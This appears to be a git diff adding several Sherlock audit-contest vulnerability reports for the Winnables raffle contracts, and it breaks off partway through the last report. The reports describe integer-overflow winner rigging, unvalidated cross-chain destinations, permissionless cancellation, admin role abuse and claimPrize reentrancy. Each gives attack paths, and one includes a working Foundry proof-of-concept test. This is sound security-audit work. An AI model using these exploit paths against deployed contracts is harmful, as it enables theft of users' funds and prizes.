+Blunt Smoke Crane + +High + +# An admin can guarantee that an address he controls is the winner of the raffle + +### Summary + +In the ``WinnablesTicketManager.sol`` contract, users may buy tickets for a raffle via the [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) function, which internally calls the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function in the ``WinnablesTicket.sol`` contract. The [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function can only be called by an address that has the minter role (role 1). The admin can give role 1 to whomever he wishes. In the readme of the contest it is specifically stated that admins are not fully trusted: *However it is not expected that the admin can steal funds that should have ended in a raffle participant’s wallet in any conceivable way* & *Admins cannot affect the odds of a raffle*. However those core invariants of the protocol can be easily broken. The [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function performs addition in an unchecked block: +```solidity + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; + _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); + } +``` +This allows a malicious admin to overflow the **_supplies[id]** mapping, and set the **_ticketOwnership[id][startId] = to;** of the user that just bought tickets to an address he controls, thus guarantying that an address controlled by the admin is going to win the raffle. The malicious admin can also simply wait for many users to buy tickets and then overflow the **_supplies[raffleId]** so it is equal to 0, then mint one NFT to an address he controls. So when the winner is drawn, the only possible NFT that can win the raffle is the NFT with ID 0. Note that there is a separate vulnerability in the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function where the root cause of the admin manipulating the raffle winner is different. + +### Root Cause + +The [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function performs addition in an unchecked block. + +### Internal pre-conditions + +1. Raffle is fully set up +2. An admin gives himself, or an address he controls role 1 +3. Users buy tickets via the [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) function + +### External pre-conditions + +_No response_ + +### Attack Path + +Attack Scenario 1: +1. An admin gives himself, or an address he controls role 1 +2. Alice buys 1 token via the [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) function +3. The admin overflows the **_supplies[raffleId]** mapping to be equal to 0, and then mints one token to an address he controls that way the **_ticketOwnership[raffleId][tokenId]** will be equal to the attacker address, not to alice's address. +4. He can overflow the **_supplies[raffleId]** mapping as many times as he wishes, there is frontruning on Avalanche. + +Attack Scenario 2: +1. An admin gives himself, or an address he controls role 1 +2. Users buy multiple tickets +3. Before a winner is drawn (before the [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329) function is called), the admin overflows the **_supplies[raffleId]** so it is equal to 0, then mints one NFT to an address he controls. +4. The [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329) function is permissionless, so after the admin performs step 3, he can call it directly, or if somebody called it before the admin can perform step 3, the admin can frontrun the call to [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329) + +When the [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329) function is called and later on [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function which internally calls the [_getWinnerByRequestId()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472-L477) function: +```solidity + function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); + uint256 winningTicketNumber = request.randomWord % supply; + return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); + } +``` +The [supplyOf()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L117-L119) function in the ``WinnablesTicket.sol`` contract will be called, and will return 1. As can be seen from the above code snippet **uint256 winningTicketNumber = request.randomWord % supply;** when supply is 1, the only possible winning NFT can be 0. The admin owns this NFT. + +### Impact + +The admin can guarantee that an address he controls wins the raffle. Breaking a couple of protocol invariants, and effectively stealing money from the users who bought tickets, hoping they are going to win a hefty prize from the raffle. + +### PoC + +[Gist](https://gist.github.com/AtanasDimulski/f1521e1fb0f77336e8836fbb454ff0be) +After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/f1521e1fb0f77336e8836fbb454ff0be) add the following test to the ``AuditorTests.t.sol`` file: + +```solidity + function test_OverflowNFTOwners() public { + vm.startPrank(admin); + winnablesTicket.setRole(admin, uint8(1), true); + /// INFO: Alice buys one ticket + winnablesTicket.mint(alice, 1, 1); + console2.log("The supplies for raffle with id 1: ", winnablesTicket._supplies(1)); + assertEq(alice, winnablesTicket._ticketOwnership(1,0)); + uint256 maxUint256 = type(uint256).max; + winnablesTicket.mint(admin, 1, maxUint256); + winnablesTicket.mint(admin, 1, 1); + console2.log("The supplies for raffle with id 1: ", winnablesTicket._supplies(1)); + assertEq(admin, winnablesTicket._ticketOwnership(1,0)); + + /// INFO: Bob buys 5 tickets + winnablesTicket.mint(bob, 1, 5); + console2.log("The supplies for raffle with id 1: ", winnablesTicket._supplies(1)); + assertEq(bob, winnablesTicket._ticketOwnership(1,1)); + + winnablesTicket.mint(admin, 1, (maxUint256 - 4)); + console2.log("The supplies for raffle with id 1: ", winnablesTicket._supplies(1)); + + winnablesTicket.mint(admin, 1, 5); + console2.log("The supplies for raffle with id 1: ", winnablesTicket._supplies(1)); + assertEq(admin, winnablesTicket._ticketOwnership(1,1)); + assertEq(admin, winnablesTicket._ticketOwnership(1,0)); + vm.stopPrank(); + } +``` + +```solidity +Logs: + The supplies for raffle with id 1: 1 + The supplies for raffle with id 1: 1 + The supplies for raffle with id 1: 6 + The supplies for raffle with id 1: 1 + The supplies for raffle with id 1: 6 +``` +To run the test use: ``forge test -vvv --mt test_OverflowNFTOwners`` + +### Mitigation + +Remove the unchecked block. \ No newline at end of file diff --git a/001/225.md b/001/225.md new file mode 100644 index 0000000..bf7412b --- /dev/null +++ b/001/225.md @@ -0,0 +1,122 @@ +Wide Charcoal Ram + +High + +# An attacker will lock prizes indefinitely in the `WinnablesPrizeManager` contract and restrict winner from claiming their prizes + +### Summary + +An attacker can pass an arbitrary `prizeManager` address to `propagateRaffleWinner()` or `cancelRaffle()` will cause a permenent prize lock in the `WinnablesPrizeManager` contract. This is because the attacker can use their own contract as the `prizeManager` to bypass the CCIP message, As a result, the raffle status may be incorrectly updated, leading to the prize being locked indefinitely in the `WinnablesPrizeManager` contract. + + + +### Root Cause + +**cancelRaffle()** + +In [`WinnablesTicketManager.sol:278`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278C35-L278C47) The `prizeManager` is used as user input and there is no validation to make sure that the input is the correct prize manager. + +If an attacker exploits this vulnerability in `cancelRaffle()`, they can update the raffle status to `RaffleStatus.CANCELED` in the `WinnablesTicketManager` contract. However, the raffle will not be canceled in the `WinnablesPrizeManager` contract, leading to inconsistent states and cuase the locked prize non retrievable. + +**propagateRaffleWinner()** + +In [`WinnablesTicketManager:334`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334C44-L334C56) The `prizeManager` is used as user input and there is no validation to make sure that the input is the correct prize manager. + +An attacker can pass an arbitrary `prizeManager` address. This results in the raffle status being updated to `RaffleStatus.PROPAGATED` and a message being sent to an incorrect destination. Consequently, the correct winner cannot be sent to the prize manager, effectively locking the prize in the `prizeManager` contract forever. That means this vulnerability make the `WinnablesPrizeManager` contract to unable to identify and distribute the prize to winner. + +### Internal pre-conditions + +**cancelRaffle()** +1. Admin should lock prize in `WinnablesPrizeManager` +2. Raffle should be in cancellable state + +**propagateRaffleWinner()** +1. Admin should lock prize in `WinnablesPrizeManager` +2. Raffle status should be `FULFILLED` + +### External pre-conditions + +_No response_ + +### Attack Path + +**cancelRaffle()** +1. Attacker deploys a dummy prize manager contract which will accept any CCIP message +2. Attacker calls `cancelRaffle()` with dummy `prizeManager` address and a cancellable `raffleId` +3. `_raffles[raffleId].status = RaffleStatus.CANCELED` get updated and CCIP message send to dummy contract +4. So, the above status update effectively prevent anyone from cancelling the raffle correcly + +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278C4-L286C11 + +**propagateRaffleWinner()** +1. Attacker deploys a dummy prize manager contract which will accept any CCIP message +2. Attacker calls `propagateRaffleWinner()` with dummy `prizeManager` address and a FULFILLED `raffleId` +3. `raffle.status = RaffleStatus.PROPAGATED` get updated and CCIP message send to dummy contract +5. So, the above status update effectively prevent anyone from propagte the winner correctly + +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334C4-L340C128 + +### Impact + +- Prizes may be locked indefinitely in the `WinnablesPrizeManager` contract. +- Eligible winners will be unable to claim their prizes from the `WinnablesPrizeManager` contract. +- The protocol will be unable to cancel or unlock prizes for cancellable raffles. + + +### PoC + +_No response_ + +### Mitigation + +Consider setting `prizeManager` and `chainSelector` globally and use it in the `cancelRaffle()` and `propagateRaffleWinner()` functions + +```diff ++ address prizeManager; ++ uint64 chainSelector; + function setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) external onlyRole(0) { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); ++ prizeManager = contractAddress; ++ chainSelector = chainSelector; + } +``` + +```diff +- function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { ++ function cancelRaffle(uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; +``` + +```diff +- function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { ++ function propagateRaffleWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; +``` \ No newline at end of file diff --git a/001/226.md b/001/226.md new file mode 100644 index 0000000..42c1752 --- /dev/null +++ b/001/226.md @@ -0,0 +1,106 @@ +Lone Peanut Swallow + +High + +# Raffle prizes can be locked indefinitely, requiring an admin action to free them + +## Summary + +Raffles prizes can be permanently locked within the [WinnablesPrizeManager.sol](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol) contract by exploiting permissionless state-advancing functions that accept the CCIP message destination and chain selector as input parameters. + +## Vulnerability Detail + +Given that: +- [`BaseCCIPSender._sendCCIPMessage`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L15) implements minimal validation on the destination address and chain selector. +- [`WinnablesTicketManager.propagateRaffleWinner`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) and [`WinnablesTicketManager.cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) can be called by an unauthenticated actor and that they accept the destination address and chain selector as input parameters, accepting them with no validation. + +When a raffle complies with the conditions for either of the methods to be successfully called, a malicious actor can rush to call the adequate method and provide an incorrect address or chain selector for the `prizeManager` and `chainSelector` parameters. +Because neither of these methods implement a check leveraging the `_ccipContracts` mapping like the [`WinnablesTicketManager._ccipReceive`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L368-L370) method does, which effectively implements a whitelist for CCIP interactions, the methods can be tricked into sending a CCIP message to an incorrect destination. +As per the normal happy path of both methods, the raffle's state will be advanced to either the `PROPAGATED` or the `CANCELED` state. + +Thanks to a correctly implemented state-guard mechanism, the same methods will not be callable on either of the states the raffle has transitioned to. + +As a consequence of the above, the `WinnablesPrizeManager.sol` instance on Ethereum mainnet will never receive the CCIP message to signal that a winner was drawn, or that a raffle was cancelled. In both situations, given that the contract still believes the raffle to be ongoing, it will provide no way to retrieve the raffle prize. +Given that the CCIP message cannot be replayed by the `WinnablesTicketManager.sol` instance on Avalanche, the prize is effectively stuck. + +The only remediation possible for such issue would require a system admin to deploy a new contract to replay the dropped CCIP message and add it as a new trusted counterpart to `WinnablesPrizeManager.sol`. In this case, the admin would be required to monitor all of the instances in which this vector is exploited and trusted to provide the correct message and data within the replayed message. + +## Impact + +High. +The core functionality of the protocol is compromised, leaving raffle prizes stuck and requiring admin manual intervention to free them. + +## Code Snippet + +```solidity +function _sendCCIPMessage(address ccipDestAddress, uint64 ccipDestChainSelector, bytes memory data) + internal + returns (bytes32 messageId) +{ + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { + revert MissingCCIPParams(); + } + + // Send CCIP message to the desitnation contract + IRouterClient router = IRouterClient(CCIP_ROUTER); + LinkTokenInterface linkToken = LinkTokenInterface(LINK_TOKEN); + + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); + + uint256 fee = router.getFee(ccipDestChainSelector, message); + uint256 currentLinkBalance = linkToken.balanceOf(address(this)); + + if (fee > currentLinkBalance) { + revert InsufficientLinkBalance(currentLinkBalance, fee); + } + + messageId = router.ccipSend(ccipDestChainSelector, message); +} +``` + +```solidity +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); +} +``` + +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } +} +``` + +## Tool used + +Manual Review + +## Recommendation + +The `WinnablesTicketManager.propagateRaffleWinner` and `WinnablesTicketManager.cancelRaffle` methods should either: +1. Read the destination address and chain selector from storage, which should be set by an authenticated party. +2. Validate that the combination of the destination address and chain selector make up a valid CCIP counterpart. + +In order to ensure the CCIP message is sent to the correct destination. \ No newline at end of file diff --git a/001/227.md b/001/227.md new file mode 100644 index 0000000..24f2187 --- /dev/null +++ b/001/227.md @@ -0,0 +1,80 @@ +Cheery Tangerine Bear + +Medium + +# An attacker can immediately cancel the raffle + +## Summary +After the `WinnablesTicketManager` on the Avalanche chain receives a CCIP message from Ethereum indicating that the prize has been locked, there is a lack of permission control before the `WinnablesTicketManager` administrator calls `createRaffle`, allowing the raffle to be canceled by anyone. +## Vulnerability Detail +After the `WinnablesTicketManager` on the Avalanche chain receives a CCIP message from Ethereum indicating that the prize pool has been locked, the corresponding status changes to `PRIZE_LOCKED`. +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); + ... + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); + } +``` +When a raffle is in the `PRIZE_LOCKED` status, anyone can call `cancelRaffle` to cancel it. +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + ... + } + + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +An attacker can monitor the contract and, as soon as the contract emits the `RafflePrizeLocked` event, immediately send a transaction to call cancelRaffle and cancel the raffle. + +This would result in a loss for the protocol. And have the opportunity to continuously obstruct the normal operation of the raffle. +## Impact +Such attack would result in: +1. Disrupt the normal functioning of the raffle. +2. Cause the `WinnablesPrizeManager` administrator to waste expensive gas fees on the Ethereum and `LinkTokens` to pay CCIP message. +3. Since the `LinkTokens` used to pay for CCIP messages are provided by the protocol, the CCIP messages sent by the attacker calling `cancelRaffle` would also consume the protocol's LinkTokens. + +In contrast, the attacker only needs to pay the relatively cheap gas fees on the Avalanche chain. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434 +## Tool used + +Manual Review + +## Recommendation +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; ++ if (raffle.status == RaffleStatus.PRIZE_LOCKED){ ++ if (!_hasRole(msg.sender, 1)) revert Unauthorized(); ++ } + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } + +``` \ No newline at end of file diff --git a/001/228.md b/001/228.md new file mode 100644 index 0000000..ca86b74 --- /dev/null +++ b/001/228.md @@ -0,0 +1,58 @@ +Huge Fossilized Turtle + +High + +# `WinnablesPrizeManager::setCCIPCounterpart()` allows the admins to freely send messages from other contracts which will steal all `WinnablesPrizeManager` funds + +### Summary + +`WinnablesPrizeManager::setCCIPCounterpart()` whitelists which `contractAddress` and `chainSelector` may call `WinnablesPrizeManager::_ccipReceive()`. The admins can use this function to set a malicious smart contracts that steals all prizes from `WinnablesPrizeManager` by defining logic that calls `WinnablesPrizeManager::_ccipReceive()` with any `raffleId` and `winner`. + +This breaks the [specification](https://github.com/sherlock-audit/2024-08-winnables-raffles/tree/main) mentioned in the readme +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize + +### Root Cause + +In [WinnablesPrizeManager::setCCIPCounterpart()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140), there is no restriction in the picked `contractAddress` and `chainSelector`, so admins can set malicious contracts to steal the funds. It should not be possible to whitelist new contracts and chains instantly at any time or even after deployment. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. `WinnablesPrizeManager` locks a prize, sending the message to `WinnablesTicketManager`. +2. `WinnablesTicketManager::_ccipReceive()` is called, which sets the raffle status to `PRIZE_LOCKED`. +3. `WinnablesTicketManager::createRaffle()` is called, starting the raffle. +4. Users participate by calling `WinnablesTicketManager::buyTickets()`, sending ETH. +5. After the raffle ends, the admin deploys a contract in another chain that does a cross chain call to `WinnablesPrizeManager::_ccipReceive()` with the `raffleId` and any `winner` address (admin controlled). +6. The admin calls `WinnablesPrizeManager::setCCIPCounterpart()` and whitelists the address of the malicious contract in the other chain. +7. The admin performs the cross chain call to `WinnablesPrizeManager::_ccipReceive()` and steals the prize. +8. The admin calls `WinnablesTicketManager::drawWinner()`, triggering the request. +9. The admin calls `WinnablesTicketManager::propagateRaffleWinner()`, decreasing `_lockedETH` by `raffle.totalRaised` (the message to claim the prize is sent to `WinnablesPrizeManager::_ccipReceive()` but it has been claimed by the admin before). +10. The admin calls `WinnablesTicketManager::withdrawETH()` and steals the ETH from the raffle. + + +### Impact + +The admin is able to steal the prize from legitimate users, breaking the [specification](https://github.com/sherlock-audit/2024-08-winnables-raffles/tree/main?tab=readme-ov-file#q-please-discuss-any-design-choices-you-made). + +### PoC + +```solidity +function setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled +) external onlyRole(0) { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); +} +``` + +### Mitigation + +To match the specification, the only way is using a timelock or setting the whitelisted `contractAddress` and `chainSelector` in the constructor. This will stop the admin from being able to steal prizes. \ No newline at end of file diff --git a/001/229.md b/001/229.md new file mode 100644 index 0000000..69160ca --- /dev/null +++ b/001/229.md @@ -0,0 +1,40 @@ +Huge Fossilized Turtle + +High + +# `WinnablesTicket` admin will set itself role `1` to mint tickets and steal prizes + +### Summary + +`WinnablesTicket::mint()` is called by role `1`, which is set to `WinnablesTicketManager`, so it can mint tickets when users call `WinnablesTicketManager::buyTickets()`. However, the admin of `WinnablesTicket` may set itself role `1` and mint as many tickets as it wants. This means the prizes can be claimed without paying ETH and the odds for legitimate users are decreased, breaking the [specification](https://github.com/sherlock-audit/2024-08-winnables-raffles/tree/main?tab=readme-ov-file#q-please-discuss-any-design-choices-you-made): +> Admins cannot affect the odds of a raffle + +### Root Cause + +In `WinnablesTicket`, the inherited [Roles::setRole()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L35-L37) may be called to set role `1` by the admin. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. In `WinnablesTicket::constructor()`, the admin role `0` is set to `msg.sender`. +2. `WinnablesTicket` inherits `Roles`, which allows the admin to call `setRole(admin, 1, true)` and gain the role `1`. +3. With this role, the admin can call `WinnableTickets::mint()` and claim any amount of tickets for itself, decreasing the odds for legitimate users and increasing its odds as much as it pleases. + +### Impact + +The admin increases its odds of claiming the prize and decreases other users' odds. + +### PoC + +`WinnablesTicket` does not override `Roles::setRole()`. + +### Mitigation + +`WinnablesTicket` must override `Roles::setRole()` and disable setting role `1`. \ No newline at end of file diff --git a/001/232.md b/001/232.md new file mode 100644 index 0000000..71990cb --- /dev/null +++ b/001/232.md @@ -0,0 +1,88 @@ +Brave Onyx Cuckoo + +High + +# Reentrancy in WinnablesPrizeManager::claimPrize, which allows the winner to claim the prize multiple times + +### Summary + +Reentrancy in WinnablesPrizeManager::claimPrize, which allows the winner to claim the prize multiple times + +### Root Cause + +In `WinnablesPrizeManager::claimPrize` function, the state variable `rafflePrize.status` is updated after the prize is sent, without following CEI: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L120-L122 +```solidity + /// @notice (Public) Send the prize for a Raffle to its rightful winner + /// @param raffleId ID of the raffle + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; // @audit: here + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +In this case, the winner can use the reentrancy vulnerability to claim the reward multiple times. + + +### Internal pre-conditions + +1. The attacker needs to use a malicious contract address to become the winner, so that he can perform a reentrancy attack after becoming the winner. + +### External pre-conditions + +None + +### Attack Path + +1. The attacker can use malicious contracts to participate in the raffle (the attacker can choose to use multiple malicious smart contracts to participate in the raffle to increase the success rate) +2. Once any malicious smart contract becomes the winner, a reentrancy attack can be launched, calling the WinnablesPrizeManager::claimPrize function multiple times, such as claiming ETH multiple times + +### Impact + +After the attacker becomes the winner, he can perform a reentrancy attack, calling the `WinnablesPrizeManager::claimPrize` function multiple times to transfer all the ETH in the WinnablesPrizeManager contract. + +### Mitigation + +```solidity +diff --git a/public-contracts/contracts/WinnablesPrizeManager.sol b/public-contracts/contracts/WinnablesPrizeManager.sol +index 72ba110..d9a6ad8 100644 +--- a/public-contracts/contracts/WinnablesPrizeManager.sol ++++ b/public-contracts/contracts/WinnablesPrizeManager.sol +@@ -105,6 +105,10 @@ contract WinnablesPrizeManager is Roles, BaseCCIPSender, BaseCCIPReceiver, IWinn + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; +@@ -117,9 +121,7 @@ contract WinnablesPrizeManager is Roles, BaseCCIPSender, BaseCCIPReceiver, IWinn + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; ++ + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/233.md b/001/233.md new file mode 100644 index 0000000..30d0b7f --- /dev/null +++ b/001/233.md @@ -0,0 +1,40 @@ +Boxy Gingham Parakeet + +High + +# WinnablesPrizeManager::claimPrize does not follow CEI, leading to reentrancy attack + +### Summary + +The claimPrize function does not follow checks-effects-interactions and puts `afflePrize.status = RafflePrizeStatus.CLAIMED;` at the end of the function, transferring the funds first and then checking them, allowing the attacker to steal all the prizes in the contract. + +### Root Cause + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L120-L122 + +In `claimPrize.sol:120-122` the check here should be at the beginning of the `claimPrize` instead of at the end + +### Internal pre-conditions + +The attacker used the contract address to participate in the raffle and became a winner + +### External pre-conditions + +none + +### Attack Path + +1. A attacker uses a contract address (with reentrancy attack logic in the receive function) to participate in the raffle and become the winner +2. The attacker calls the WinnablesPrizeManager::claimPrize function, triggers the receive function, triggers a reentrancy attack, and steals all prize money + +### Impact + +All prizes in the contract are stolen by the attacker + +### PoC + +_No response_ + +### Mitigation + +Follow CEI and put `claimPrize.sol:120-122` at the beginning of the claimPrize function instead of at the end \ No newline at end of file diff --git a/001/234.md b/001/234.md new file mode 100644 index 0000000..4effcf2 --- /dev/null +++ b/001/234.md @@ -0,0 +1,123 @@ +Active Coal Lynx + +High + +# `_lockedETH` does not decrease when a raffle is cancelled and users are refunded. This breaks the `withdrawETH()` function + +### Summary + +When a raffle is cancelled and user's are refunded, `lockedETH` amount does not decrease. Any calls on `withdrawETH()` will revert as the `_lockedETH` value will always be greater than the contract's balance. If the unchecked math underflows to an amount that is 